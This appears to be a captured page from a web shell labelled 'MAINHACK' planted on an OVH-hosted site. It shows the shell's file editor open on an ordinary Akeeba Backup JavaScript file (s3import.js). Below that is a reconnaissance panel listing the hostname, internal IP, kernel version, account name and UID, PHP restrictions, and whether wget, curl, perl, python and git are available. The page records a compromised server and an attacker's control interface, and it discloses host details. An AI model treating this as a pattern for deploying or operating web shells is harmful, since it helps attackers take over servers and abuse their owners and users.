[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: s3import.js
/** * @package solo * @copyright Copyright (c)2014-2025 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ if (typeof akeeba == "undefined") { var akeeba = {}; } if (typeof akeeba.S3Import == "undefined") { akeeba.S3Import = {}; } akeeba.S3Import.delayedApplicationOfS3KeysInGUI = function () { var elAccessKey = document.getElementById("s3access"); var elSecretKey = document.getElementById("s3secret"); if ((elAccessKey === null) || (elSecretKey === null)) { return; } /** * This makes sure that the S3 access and secret keys are not replaced by the browser or a password manager browser * extensions with some arbitrary username and password combination. */ setTimeout(function () { document.getElementById("s3access").value = akeeba.System.getOptions("akeeba.S3Import.accessKey"); document.getElementById("s3secret").value = akeeba.System.getOptions("akeeba.S3Import.secretKey"); }, 500); }; //============================================================================= // Akeeba Backup Pro - Import arbitrary archives from S3 //============================================================================= akeeba.S3Import.resetRoot = function () { document.getElementById("ak_s3import_folder").value = ""; return true; }; akeeba.S3Import.changeDirectory = function (e) { var elTarget = e.target; var encodedPrefix = akeeba.System.data.get(elTarget, "s3prefix", ""); document.getElementById("ak_s3import_folder").value = atob(encodedPrefix); document.forms.adminForm.submit(); }; /** * * @param {Event} e */ akeeba.S3Import.importFile = function (e) { var elTarget = e.target; var encodedName = akeeba.System.data.get(elTarget, "s3object", ""); var objectName = atob(encodedName); if (objectName === "") { return false; } window.location = akeeba.System.getOptions("akeeba.S3Import.importURL") + "&file=" + encodeURIComponent(objectName); }; akeeba.System.documentReady(function () { akeeba.S3Import.delayedApplicationOfS3KeysInGUI(); akeeba.System.addEventListener("akeebaS3ImportResetRoot", "click", akeeba.S3Import.resetRoot); akeeba.System.iterateNodes(".akeebaS3ImportChangeDirectory", function (el) { akeeba.System.addEventListener(el, "click", akeeba.S3Import.changeDirectory); }); akeeba.System.iterateNodes(".akeebaS3ImportObjectDownload", function (el) { akeeba.System.addEventListener(el, "click", akeeba.S3Import.importFile); }); var redirectionURL = akeeba.System.getOptions("akeeba.S3Import.autoRedirectURL", ""); if (redirectionURL !== '') { window.location = redirectionURL; } });
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm021.cluster127.gra.hosting.ovh.net
Server IP: 10.127.20.21
PHP Version: 8.4.22
Server Software: Apache
System: Linux webm021.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: vcomplcotr
User ID (UID): 38697
Group ID (GID): 100
Script Owner UID: 38697
Current Dir Owner: 38697